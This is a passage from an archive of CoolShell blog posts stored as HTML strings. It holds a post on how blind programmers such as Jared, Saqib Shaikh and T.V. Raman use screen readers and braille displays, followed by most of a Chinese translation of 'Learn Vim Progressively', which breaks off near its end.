src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/7.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/4795.html\">开源中最好的Web开发的资源</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/3684.html\"><img alt=\"Web开发人员速查卡\" height=\"150\" src=\"../wp-content/uploads/2011/02/1128-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/3684.html\">Web开发人员速查卡</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/3013.html\"><img alt=\"一些非常有意思的杂项资源\" height=\"150\" src=\"../wp-content/uploads/2010/09/biolab-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/3013.html\">一些非常有意思的杂项资源</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/12206.html\"><img alt=\"HTML6 展望\" height=\"150\" src=\"../wp-content/uploads/2014/12/html6-150x150.jpeg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/12206.html\">HTML6 展望</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/12136.html\"><img alt=\"Google Inbox如何跨平台重用代码？\" height=\"150\" src=\"../wp-content/uploads/2014/11/inbox2-640x264-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/12136.html\">Google Inbox如何跨平台重用代码？</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/9666.html\"><img alt=\"浏览器的渲染原理简介\" height=\"150\" src=\"../wp-content/uploads/2013/05/Render-Process-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/9666.html\">浏览器的渲染原理简介</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/5224.html\">一些文章和各种资源</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2011-9-21 如果你看不见你还能编程吗？.html",
    "content": "<html><body><p>这是个StackOverflow上的问题 <a href=\"http://stackoverflow.com/questions/118984/how-can-you-program-if-youre-blind\" target=\"_blank\" title=\"How can you program if you're blind?\">How can you program if you’re blind?</a> 。在看到这个问题的时候，我感到应该不可能，但是我错了，这个问题的前两个答案让我深深地震憾了。</p>\n<p>第一个答案的回复人是<a href=\"http://stackoverflow.com/users/14744/jared\">Jared</a>（其在StackOverflow上的积分有将近14K），但是你能想得到他是一个盲人吗？他回复到——</p>\n<blockquote><p>我是一个完全失明的大学学生，我做过一些程序员的实习工作，所以我的回复基于我的这些经历。我使用Windows XP 和  <a href=\"http://freedomscientific.com/products/fs/jaws-product-page.asp\" rel=\"nofollow\">Jaws</a> 来为了读出屏幕上的内容。</p>\n<p>对于Java 编程，我使用eclipse这个强大的IDE。我使用SWT开发GUI。对于.NET编程，其使用Visual Studio 2005，使用Jaws可以非常容易地操作VS2005，而且其还有一些很不错的脚本来可容易地用来做表单设计。</p>\n<p>对于C/C++，我使用cygwin + gcc 也使用emacs 和 vim 做出编辑器（使用<a href=\"http://emacspeak.sourceforge.net/\" target=\"_blank\">Emacspeak</a>虽然有时候有点迟钝）。在实习过程中，我做了很多和Z/OS相关的编程工作。我使用rlogin通过cygwin登录大型机的USS系统，并使用C3270作为其3270仿真器来访问大型机的ISPF部分。</p>\n<p>我依赖于合成语音系统，也需要 Braille display， 我发现使用合成语音系统很快，但是使用 Braille display有时候有些问题。比如程序有太多的嵌套括号。</p></blockquote>\n<p>关于Braille display，又叫盲文显示机，是能以盲文进行输出的电子机械式设备。一般来说，该设备通过在平坦表面上打孔来实现点阵的表现。有了该设备的帮助，无法使用一般的显示设备的失明用户也能够阅读文字。如下所示。</p>\n<p><span id=\"more-5514\"></span></p>\n<p style=\"text-align: center;\"><a href=\"http://www.google.com.hk/search?q=Braille+display&amp;hl=zh-CN&amp;safe=strict&amp;prmd=ivns&amp;tbm=isch&amp;tbo=u&amp;source=univ&amp;sa=X&amp;ei=zrV4Tt6YOemtiQfRkIzhDA&amp;ved=0CDMQsAQ&amp;biw=1280&amp;bih=677\"><img alt=\"A woman using a braille display with a QWERTY keyboard, attached to a laptop computer.\" class=\"aligncenter\" height=\"319\" src=\"http://www.afb.org/afbpress/Image.asp?ImageID=aw050607fig1\" width=\"400\"/></a></p>\n<p>第二个答案是<a href=\"http://stackoverflow.com/users/56241/saqib\">Saqib</a>提供的，其个人主页是<a href=\"http://www.saqibshaikh.com/\">http://www.saqibshaikh.com/</a>，目前在Microsoft的Bing项目组，他回答到：</p>\n<blockquote><p>我是盲人，我对Windows, Mac, Linux 和 DOS有13年的编程经验了，我会的编程语言是C/C++, Python, Java, C#或是其它相似的语言，虽然问题问的是怎么来设置盲人的环境，但是我想从盲人怎么使用电脑来回答。</p>\n<p>有些人使用“语音环境”，如T. V. Raman程序员和Emacspeak 环境。这样的环境需要有读屏程序来监控操作系统的行为，并通过合成语音系统或是Braille display 来告诉盲人屏幕上有什么。这样一样，盲人就可以操作任何的应用程序了。</p>\n<p>我个人这段时候使用Visual Studio 2008（注：作者是09年回的这个贴的），用其来做一些修改。我关闭了一些VS2008的功能，如显示错误，因为这会让我分心。在加入微软以前，我都是在用notepad这样的东西开发程序。</p>\n<p>对于读屏软件，我需要设置一下，以便其告诉我缩进。老实说我不太关心这个事，因为VS2008对程序缩进做得很好。但是对于Python来说，这个功能相当重要。最终，Emacspeak 可以使用不同的声音来让我区分缩进的语句块，以及一些语法（关键词，注释，标识，等等。）</p></blockquote>\n<p>对于<a href=\"http://stackoverflow.com/users/56241/saqib\">Saqib</a>，大家有兴趣可以看看他的视频访谈：<a href=\"http://channel9.msdn.com/blogs/dan/saqib-shaikh-and-scott-hanselman-designing-for-accessibility\" target=\"_blank\">Saqib Shaikh and Scott Hanselman: Designing for Accessibility</a></p>\n<p>这个问题中多次提到了Google的盲人程序员 T.V. Raman，我在网上搜了一下他，他前段时间来过北京，新京报在今年早期报道过他——《<a href=\"http://epaper.bjnews.com.cn/html/2011-01/16/content_192258.htm\" target=\"_blank\">T.V 拉蒙，互联网界也有“盲剑客” ——Google盲人工程师讲述软件设计之路</a>》</p>\n<p><img alt=\"\" class=\"aligncenter\" src=\"http://epaper.bjnews.com.cn/images/2011-01/16/B13/b13116cb001.gif\"/></p>\n<p>在这篇报道中，他经历过IBM, Adobe和Google 这三个公司，他可以在23秒内复原盲人魔方，1989年他就得到一台给盲人用的语音合成器和当时最先进的读屏软件。他现在使用电脑 没有任何障碍，他天天都上网浏览信息，他还可以使用特别的手机来看地图。</p>\n<p>不知道你看完这些人的经历后，你有什么感觉？</p>\n<ul>\n<li>你是否会觉得技术的力量和社会的尊重让他们和正常人一样可以使用电脑？</li>\n<li>你是否会觉得我们这些正常人是不是平时抱怨的太多了呢？还有什么理由不努力的呢？</li>\n</ul>\n<div>（全文完）</div>\n<p><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/22298.html\"><img alt=\"聊聊团队协同和协同工具\" height=\"150\" src=\"../wp-content/uploads/2022/10/communication-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/22298.html\">聊聊团队协同和协同工具</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/22173.html\"><img alt=\"“一把梭：REST API 全用 POST”\" height=\"150\" src=\"../wp-content/uploads/2022/02/http_method-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/22173.html\">“一把梭：REST API 全用 POST”</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/22157.html\"><img alt=\"谈谈公司对员工的监控\" height=\"150\" src=\"../wp-content/uploads/2022/02/monitoring-150x150.jpeg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/22157.html\">谈谈公司对员工的监控</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/21589.html\"><img alt=\"如何做一个有质量的技术分享\" height=\"150\" src=\"../wp-content/uploads/2021/07/knowledge_sharing-300x169-1-150x150.jpeg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/21589.html\">如何做一个有质量的技术分享</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/20977.html\"><img alt=\"程序员如何把控自己的职业\" height=\"150\" src=\"../wp-content/uploads/2020/08/programmer.01-e1596792460687-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/20977.html\">程序员如何把控自己的职业</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/20765.html\"><img alt=\"MegaEase的远程工作文化\" height=\"150\" src=\"../wp-content/uploads/2020/01/remote-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/20765.html\">MegaEase的远程工作文化</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/5514.html\">如果你看不见你还能编程吗？</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2011-9-7 简明 Vim 练级攻略.html",
    "content": "<html><body><p>vim的学习曲线相当的大（参看<a href=\"https://coolshell.cn/articles/3125.html\" target=\"_blank\" title=\"主流文本编辑器学习曲线\">各种文本编辑器的学习曲线</a>），所以，如果你一开始看到的是一大堆VIM的命令分类，你一定会对这个编辑器失去兴趣的。下面的文章翻译自《<a href=\"http://yannesposito.com/Scratch/en/blog/Learn-Vim-Progressively/\" target=\"_blank\">Learn Vim Progressively</a>》，我觉得这是给新手最好的VIM的升级教程了，没有列举所有的命令，只是列举了那些最有用的命令。非常不错。</p>\n<p style=\"text-align: center;\">——————————正文开始——————————</p>\n<p>你想以最快的速度学习人类史上最好的文本编辑器VIM吗？你先得懂得如何在VIM幸存下来，然后一点一点地学习各种戏法。</p>\n<p><a href=\"http://www.vim.org\">Vim</a> the Six Billion Dollar editor</p>\n<blockquote><p>Better, Stronger, Faster.</p></blockquote>\n<p>学习 <a href=\"http://www.vim.org\">vim</a> 并且其会成为你最后一个使用的文本编辑器。没有比这个更好的文本编辑器了，非常地难学，但是却不可思议地好用。</p>\n<p>我建议下面这四个步骤：</p>\n<ol>\n<li>存活</li>\n<li>感觉良好</li>\n<li>觉得更好，更强，更快</li>\n<li>使用VIM的超能力</li>\n</ol>\n<p>当你走完这篇文章，你会成为一个vim的 superstar。</p>\n<p>在开始学习以前，我需要给你一些警告：</p>\n<ul>\n<li>学习vim在开始时是痛苦的。</li>\n<li>需要时间</li>\n<li>需要不断地练习，就像你学习一个乐器一样。</li>\n<li>不要期望你能在3天内把vim练得比别的编辑器更有效率。</li>\n<li>事实上，你需要2周时间的苦练，而不是3天。</li>\n</ul>\n<div><span id=\"more-5426\"></span></div>\n<h4>第一级 – 存活</h4>\n<ol>\n<li>安装 <a href=\"http://www.vim.org\">vim</a></li>\n<li>启动 vim</li>\n<li><strong>什么也别干！</strong>请先阅读</li>\n</ol>\n<p>当你安装好一个编辑器后，你一定会想在其中输入点什么东西，然后看看这个编辑器是什么样子。但vim不是这样的，请按照下面的命令操作：</p>\n<ul>\n<li>启 动Vim后，vim在 <em>Normal</em> 模式下。</li>\n<li>让我们进入 <em>Insert</em> 模式，请按下键 i 。(陈皓注：你会看到vim左下角有一个–insert–字样，表示，你可以以插入的方式输入了）</li>\n<li>此时，你可以输入文本了，就像你用“记事本”一样。</li>\n<li>如果你想返回 <em>Normal</em> 模式，请按 <code>ESC</code> 键。</li>\n</ul>\n<p>现在，你知道如何在 <em>Insert</em> 和 <em>Normal</em> 模式下切换了。下面是一些命令，可以让你在 <em>Normal</em> 模式下幸存下来：</p>\n<blockquote>\n<ul>\n<li><code>i</code> → <em>Insert</em> 模式，按 <code>ESC</code> 回到 <em>Normal</em> 模式.</li>\n<li><code>x</code> → 删当前光标所在的一个字符。</li>\n<li><code>:wq</code> → 存盘 + 退出 (<code>:w</code> 存盘, <code>:q</code> 退出)   （陈皓注：:w 后可以跟文件名）</li>\n<li><code>dd</code> → 删除当前行，并把删除的行存到剪贴板里</li>\n<li><code>p</code> → 粘贴剪贴板</li>\n</ul>\n<p><strong>推荐</strong>:</p>\n<ul>\n<li><code>hjkl</code> (强例推荐使用其移动光标，但不必需) →你也可以使用光标键 (←↓↑→). 注: <code>j</code> 就像下箭头。</li>\n<li><code>:help &lt;command&gt;</code> → 显示相关命令的帮助。你也可以就输入 <code>:help</code> 而不跟命令。（陈皓注：退出帮助需要输入:q）</li>\n</ul>\n</blockquote>\n<p>你能在vim幸存下来只需要上述的那5个命令，你就可以编辑文本了，你一定要把这些命令练成一种下意识的状态。于是你就可以开始进阶到第二级了。</p>\n<p>当是，在你进入第二级时，需要再说一下 <em>Normal </em>模式。在一般的编辑器下，当你需要copy一段文字的时候，你需要使用 <code>Ctrl</code> 键，比如：<code>Ctrl-C</code>。也就是说，Ctrl键就好像功能键一样，当你按下了功能键Ctrl后，C就不在是C了，而且就是一个命令或是一个快键键了，<strong>在VIM的Normal模式下，所有的键就是功能键了</strong>。这个你需要知道。</p>\n<p>标记:</p>\n<ul>\n<li>下面的文字中，如果是 <code>Ctrl-λ</code>我会写成 <code>&lt;C-λ&gt;</code>.</li>\n<li>以 <code>:</code> 开始的命令你需要输入 <code>&lt;enter&gt;</code>回车，例如 — 如果我写成 <code>:q</code> 也就是说你要输入 <code>:q&lt;enter&gt;</code>.</li>\n</ul>\n<h4 id=\"nd-level----feel-comfortable\">第二级 – 感觉良好</h4>\n<p>上面的那些命令只能让你存活下来，现在是时候学习一些更多的命令了，下面是我的建议：（陈皓注：所有的命令都需要在Normal模式下使用，如果你不知道现在在什么样的模式，你就狂按几次ESC键）</p>\n<ol>\n<li><strong>各种插入模式</strong><br/>\n<blockquote>\n<ul>\n<li><code>a</code> → 在光标后插入</li>\n<li><code>o</code> → 在当前行后插入一个新行</li>\n<li><code>O</code> → 在当前行前插入一个新行</li>\n<li><code>cw</code> → 替换从光标所在位置后到一个单词结尾的字符</li>\n</ul>\n</blockquote>\n</li>\n<li><strong>简单的移动光标</strong><br/>\n<blockquote>\n<ul>\n<li><code>0</code> → 数字零，到行头</li>\n<li><code>^</code> → 到本行第一个不是blank字符的位置（所谓blank字符就是空格，tab，换行，回车等）</li>\n<li><code>$</code> → 到本行行尾</li>\n<li><code>g_</code> → 到本行最后一个不是blank字符的位置。</li>\n<li><code>/pattern</code> → 搜索 <code>pattern</code> 的字符串（陈皓注：如果搜索出多个匹配，可按n键到下一个）</li>\n</ul>\n</blockquote>\n</li>\n<li><strong>拷贝/粘贴</strong> （陈皓注：p/P都可以，p是表示在当前位置之后，P表示在当前位置之前）<br/>\n<blockquote>\n<ul>\n<li><code>P</code> → 粘贴</li>\n<li><code>yy</code> → 拷贝当前行当行于 <code>ddP</code></li>\n</ul>\n</blockquote>\n</li>\n<li><strong>Undo/Redo</strong><br/>\n<blockquote>\n<ul>\n<li><code>u</code> → undo</li>\n<li><code>&lt;C-r&gt;</code> → redo</li>\n</ul>\n</blockquote>\n</li>\n<li><strong>打开/保存/退出/改变文件</strong>(Buffer)<br/>\n<blockquote>\n<ul>\n<li><code>:e &lt;path/to/file&gt;</code> → 打开一个文件</li>\n<li><code>:w</code> → 存盘</li>\n<li><code>:saveas &lt;path/to/file&gt;</code> → 另存为 <code>&lt;path/to/file&gt;</code></li>\n<li><code>:x</code>， <code>ZZ</code> 或 <code>:wq</code> → 保存并退出 (<code>:x</code> 表示仅在需要时保存，ZZ不需要输入冒号并回车)</li>\n<li><code>:q!</code> → 退出不保存 <code>:qa!</code> 强行退出所有的正在编辑的文件，就算别的文件有更改。</li>\n<li><code>:bn</code> 和 <code>:bp</code> → 你可以同时打开很多文件，使用这两个命令来切换下一个或上一个文件。（陈皓注：我喜欢使用:n到下一个文件）</li>\n</ul>\n</blockquote>\n</li>\n</ol>\n<p>花点时间熟悉一下上面的命令，一旦你掌握他们了，你就几乎可以干其它编辑器都能干的事了。但是到现在为止，你还是觉得使用vim还是有点笨拙，不过没关系，你可以进阶到第三级了。</p>\n<h4 id=\"rd-level----better-stronger-faster\">第三级 – 更好，更强，更快</h4>\n<p>先恭喜你！你干的很不错。我们可以开始一些更为有趣的事了。在第三级，我们只谈那些和vi可以兼容的命令。</p>\n<h5 id=\"better\">更好</h5>\n<p>下面，让我们看一下vim是怎么重复自己的：</p>\n<ol>\n<li><code>.</code> → (小数点) 可以重复上一次的命令</li>\n<li>N&lt;command&gt; → 重复某个命令N次</li>\n</ol>\n<p>下面是一个示例，找开一个文件你可以试试下面的命令：</p>\n<blockquote>\n<ul>\n<li><code>2dd</code> → 删除2行</li>\n<li><code>3p</code> → 粘贴文本3次</li>\n<li><code>100idesu [ESC]</code> → 会写下 “desu desu desu desu desu desu desu desu desu desu desu desu desu desu desu desu desu desu desu desu desu desu desu desu desu desu desu desu desu desu desu desu desu desu desu desu desu desu desu desu desu desu desu desu desu desu desu desu desu desu desu desu desu desu desu desu desu desu desu desu desu desu desu desu desu desu desu desu desu desu desu desu desu desu desu desu desu desu desu desu desu desu desu desu desu desu desu desu desu desu desu desu desu desu desu desu desu desu desu desu “</li>\n<li><code>.</code> → 重复上一个命令—— 100 “desu “.</li>\n<li><code>3.</code> → 重复 3 次 “desu” (注意：不是 300，你看，VIM多聪明啊).</li>\n</ul>\n</blockquote>\n<h5 id=\"stronger\">更强</h5>\n<p>你要让你的光标移动更有效率，你一定要了解下面的这些命令，<strong>千万别跳过</strong>。</p>\n<ol>\n<li>N<code>G</code> → 到第 N 行 （陈皓注：注意命令中的G是大写的，另我一般使用 : N 到第N行，如 :137 到第137行）</li>\n<li><code>gg</code> → 到第一行。（陈皓注：相当于1G，或 :1）</li>\n<li><code>G</code> → 到最后一行。</li>\n<li>按单词移动：<br/>\n<blockquote>\n<ol>\n<li><code>w</code> → 到下一个单词的开头。</li>\n<li><code>e</code> → 到下一个单词的结尾。</li>\n</ol>\n<p>&gt; 如果你认为单词是由默认方式，那么就用小写的e和w。默认上来说，一个单词由字母，数字和下划线组成（陈皓注：程序变量）</p>\n<p>&gt; 如果你认为单词是由blank字符分隔符，那么你需要使用大写的E和W。（陈皓注：程序语句）</p>\n<p><img alt=\"Word moves example\" src=\"http://yannesposito.com/Scratch/img/blog/Learn-Vim-Progressively/word_moves.jpg\"/></p></blockquote>\n</li>\n</ol>\n<p>下面，让我来说说最强的光标移动：</p>\n<blockquote>\n<ul>\n<li><code>%</code> : 匹配括号移动，包括 <code>(</code>, <code>{</code>, <code>[</code>. （陈皓注：你需要把光标先移到括号上）</li>\n<li><code>*</code> 和 <code>#</code>:  匹配光标当前所在的单词，移动光标到下一个（或上一个）匹配单词（*是下一个，#是上一个）</li>\n</ul>\n</blockquote>\n<p>相信我，上面这三个命令对程序员来说是相当强大的。</p>\n<h5 id=\"faster\">更快</h5>\n<p>你一定要记住光标的移动，因为很多命令都可以和这些移动光标的命令连动。很多命令都可以如下来干：</p>\n<p><code>&lt;start position&gt;&lt;command&gt;&lt;end position&gt;</code></p>\n<p>例如 <code>0y$</code> 命令意味着：</p>\n<ul>\n<li><code>0</code> → 先到行头</li>\n<li><code>y</code> → 从这里开始拷贝</li>\n<li><code>$</code> → 拷贝到本行最后一个字符</li>\n</ul>\n<p>你可可以输入 <code>ye</code>，从当前位置拷贝到本单词的最后一个字符。</p>\n<p>你也可以输入 <code>y2/foo</code> 来拷贝2个 “foo” 之间的字符串。</p>\n<p>还有很多时间并不一定你就一定要按y才会拷贝，下面的命令也会被拷贝：</p>\n<ul>\n<li><code>d</code> (删除 )</li>\n<li><code>v</code> (可视化的选择)</li>\n<li><code>gU</code> (变大写)</li>\n<li><code>gu</code> (变小写)</li>\n<li>等等</li>\n</ul>\n<div>（陈皓注：可视化选择是一个很有意思的命令，你可以先按v，然后移动光标，你就会看到文本被选择，然后，你可能d，也可y，也可以变大写等）</div>\n<h4 id=\"th-level----vim-superpowers\">第四级 – Vim 超能力</h4>\n<p>你只需要掌握前面的命令，你就可以很舒服的使用VIM了。但是，现在，我们向你介绍的是VIM杀手级的功能。下面这些功能是我只用vim的原因。</p>\n<h5 id=\"move-on-current-line-0---f-f-t-t--\">在当前行上移动光标: <code>0</code> <code>^</code> <code>$</code> <code>f</code> <code>F</code> <code>t</code> <code>T</code> <code>,</code> <code>;</code></h5>\n<blockquote>\n<ul>\n<li><code>0</code> → 到行头</li>\n<li><code>^</code> → 到本行的第一个非blank字符</li>\n<li><code>$</code> → 到行尾</li>\n<li><code>g_</code> → 到本行最后一个不是blank字符的位置。</li>\n<li><code>fa</code> → 到下一个为a的字符处，你也可以fs到下一个为s的字符。</li>\n<li><code>t,</code> → 到逗号前的第一个字符。逗号可以变成其它字符。</li>\n<li><code>3fa</code> → 在当前行查找第三个出现的a。</li>\n<li><code>F</code> 和 <code>T</code> → 和 <code>f</code> 和 <code>t</code> 一样，只不过是相反方向。<br/>\n<img alt=\"Line moves\" src=\"http://yannesposito.com/Scratch/img/blog/Learn-Vim-Progressively/line_moves.jpg\"/></li>\n</ul>\n</blockquote>\n<p>还有一个很有用的命令是 <code>dt\"</code> → 删除所有的内容，直到遇到双引号—— <code>\"。</code></p>\n<h5 id=\"zone-selection-actionaobject-or-actioniobject\">区域选择 <code>&lt;action&gt;a&lt;object&gt;</code> 或 <code>&lt;action&gt;i&lt;object&gt;</code></h5>\n<p>在visual 模式下，这些命令很强大，其命令格式为</p>\n<p><code>&lt;action&gt;a&lt;object&gt;</code> 和 <code>&lt;action&gt;i&lt;object&gt;</code></p>\n<ul>\n<li>action可以是任何的命令，如 <code>d</code> (删除), <code>y</code> (拷贝), <code>v</code> (可以视模式选择)。</li>\n<li>object 可能是： <code>w</code> 一个单词， <code>W</code> 一个以空格为分隔的单词， <code>s</code> 一个句字， <code>p</code> 一个段落。也可以是一个特别的字符：<code>\"、</code> <code>'、</code> <code>)、</code> <code>}、</code> <code>]。</code></li>\n</ul>\n<p>假设你有一个字符串 <code>(map (+) (\"foo\"))</code>.而光标键在第一个 <code>o </code>的位置。</p>\n<blockquote>\n<ul>\n<li><code>vi\"</code> → 会选择 <code>foo</code>.</li>\n<li><code>va\"</code> → 会选择 <code>\"foo\"</code>.</li>\n<li><code>vi)</code> → 会选择 <code>\"foo\"</code>.</li>\n<li><code>va)</code> → 会选择<code>(\"foo\")</code>.</li>\n<li><code>v2i)</code> → 会选择 <code>map (+) (\"foo\")</code></li>\n<li><code>v2a)</code> → 会选择 <code>(map (+) (\"foo\"))</code></li>\n</ul>\n</blockquote>\n<p><img alt=\"Text objects selection\" class=\"aligncenter\" src=\"http://yannesposito.com/Scratch/img/blog/Learn-Vim-Progressively/textobjects.png\"/></p>\n<h5 id=\"select-rectangular-blocks-c-v\">块操作: <code>&lt;C-v&gt;</code></h5>\n<p>块操作，典型的操作： <code>0 &lt;C-v&gt; &lt;C-d&gt; I-- [ESC]</code></p>\n<ul>\n<li><code>^</code> → 到行头</li>\n<li><code>&lt;C-v&gt;</code> → 开始块操作</li>\n<li><code>&lt;C-d&gt;</code> → 向下移动 (你也可以使用hjkl来移动光标，或是使用%，或是别的)</li>\n<li><code>I-- [ESC]</code> → I是插入，插入“<code>--</code>”，按ESC键来为每一行生效。</li>\n</ul>\n<p><img alt=\"Rectangular blocks\" class=\"aligncenter\" src=\"http://yannesposito.com/Scratch/img/blog/Learn-Vim-Progressively/rectangular-blocks.gif\"/></p>\n<p>在Windows下的vim，你需要使用 <code>&lt;C-q&gt;</code> 而不是 <code>&lt;C-v&gt;</code> ，<code>&lt;C-v&gt;</code> 是拷贝剪贴板。</p>\n<h5 id=\"completion-c-n-and-c-p\">自动提示： <code>&lt;C-n&gt;</code> 和 <code>&lt;C-p&gt;</code></h5>\n<p>在 Insert 模式下，你可以输入一个词的开头，然后按 <code>&lt;C-p&gt;或是&lt;C-n&gt;，自动补齐功能就出现了……</code></p>\n<p><code></code><img alt=\"Completion\" class=\"aligncenter\" src=\"http://yannesposito.com/Scratch/img/blog/Learn-Vim-Progressively/completion.gif\"/></p>\n<h5 id=\"macros--qa-do-something-q-a-\">宏录制： <code>qa</code> 操作序列 <code>q</code>, <code>@a</code>, <code>@@</code></h5>\n<ul>\n<li><code>qa</code> 把你的操作记录在寄存器 <code>a。</code></li>\n<li>于是 <code>@a</code> 会replay被录制的宏。</li>\n<li><code>@@</code> 是一个快捷键用来replay最新录制的宏。</li>\n</ul>\n<blockquote><p><strong><em>示例</em></strong></p>\n<p>在一个只有一行且这一行只有“1”的文本中，键入如下命令：</p>\n<ul>\n<li><code>qaYp&lt;C-a&gt;q</code>→\n<ul>\n<li><code>qa</code> 开始录制</li>\n<li><code>Yp</code> 复制行.</li>\n<li><code>&lt;C-a&gt;</code> 增加1.</li>\n<li><code>q</code> 停止录制.</li>\n</ul>\n</li>\n<li><code>@a</code> → 在1下面写下 2</li>\n<li><code>@@</code> → 在2 正面写下3</li>\n<li>现在做 <code>100@@</code> 会创建新的100行，并把数据增加到 103.</li>\n</ul>\n</blockquote>\n<p><img alt=\"Macros\" class=\"aligncenter\" src=\"http://yannesposito.com/Scratch/img/blog/Learn-Vim-Progressively/macros.gif\"/></p>\n<h5 id=\"visual-selection-vvc-v\">可视化选择： <code>v</code>,<code>V</code>,<code>&lt;C-v&gt;</code></h5>\n<p>前面，我们看到了 <code>&lt;C-v&gt;</code>的示例 （在Windows下应该是&lt;C-q&gt;），我们可以使用 <code>v</code> 和 <code>V</code>。一但被选好了，你可以做下面的事：</p>\n<ul>\n<li><code>J</code> → 把所有的行连接起来（变成一行）</li>\n<li><code>&lt;</code> 或 <code>&gt;</code> → 左右缩进</li>\n<li><code>=</code> → 自动给缩进 （陈皓注：这个功能相当强大，我太喜欢了）</li>\n</ul>\n<p><img alt=\"Autoindent\" class=\"aligncenter\" src=\"http://yannesposito.com/Scratch/img/blog/Learn-Vim-Progressively/autoindent.gif\"/></p>\n<p>在所有被选择的行后加上点东西：</p>\n<ul>\n<li><code>&lt;C-v&gt;</code></li>\n<li>选中相关的行 (可使用 <code>j</code> 或 <code>&lt;C-d&gt;</code> 或是 <code>/pattern</code> 或是 <code>%</code> 等……)</li>\n<li><code>$</code> 到行最后</li>\n<li><code>A</code>, 输入字符串，按 <code>ESC。</code></li>\n</ul>\n<p><img alt=\"Append to many lines\" class=\"aligncenter\" src=\"http://yannesposito.com/Scratch/img/blog/Learn-Vim-Progressively/append-to-many-lines.gif\"/></p>\n<h5 id=\"splits-split-and-vsplit\">分屏: <code>:split</code> 和 <code>vsplit</code>.</h5>\n<p>下面是主要的命令，你可以使用VIM的帮助 <code>:help split</code>. 你可以参考本站以前的一篇文章<a href=\"https://coolshell.cn/articles/1679.html\" target=\"_blank\" title=\"Vim的分屏功能\">VIM分屏</a>。</p>\n<blockquote>\n<ul>\n<li><code>:split</code> → 创建分屏 (<code>:vsplit</code>创建垂直分屏)</li>\n<li><code>&lt;C-w&gt;&lt;dir&gt;</code> : dir就是方向，可以是 <code>hjkl</code> 或是 ←↓↑→ 中的一个，其用来切换分屏。</li>\n<li><code>&lt;C-w&gt;_</code> (或 <code>&lt;C-w&gt;|</code>) : 最大化尺寸 (&lt;C-w&gt;| 垂直分屏)</li>\n<li><code>&lt;C-w&gt;+</code> (或 <code>&lt;C-w&gt;-</code>) : 增加尺寸</li>\n</ul>\n</blockquote>\n<p><img alt=\"Split\" class=\"aligncenter\" src=\"http://yannesposito.com/Scratch/img/blog/Learn-Vim-Progressively/split.gif\"/></p>\n<h4 id=\"conclusion\">结束语</h4>\n<ul>\n<li>上面是作者最常用的90%的命令。</li>\n<li>我建议你每天都学1到2个新的命令。</li>\n<li>在两到三周后，你会感到vim的强大的。</li>\n</ul>\n<ul>\n<li>有时候，学习VIM就像是在死背一些东西。</li>\n<li>幸运的是，vim有很多很不错的工具和优秀的文档。</li>\n<li>运行vimtutor直到你熟悉了那些基本命令。</li>\n<li>其在线帮助文档中你应该要仔细阅读的是 <code>:help usr_02.txt</code>.</li>\n<li>你会学习到诸如  <code>!，</code> 目录，寄存器，插件等很多其它的功能。</li>\n</ul>\n<p>学习vim就像学弹钢琴一样，一旦学会，受益无穷。</p>\n<p style=\"text-align: center;\">——————————正文结束——————————</p>\n<p>对于vi/vim只是点评一点：这是一个你不需要使用鼠标，不需使用小键盘，只需要使用大键盘就可以完成很多复杂功能文本编辑的编辑器。不然，<a href=\"https://coolshell.cn/articles/1901.html\" target=\"_blank\" title=\"Visual Studio的Vim插件\">Visual Studio也不就会有vim的插件了</a>。</p>\n<p>(全文完)<!--\n\n\n\n<p 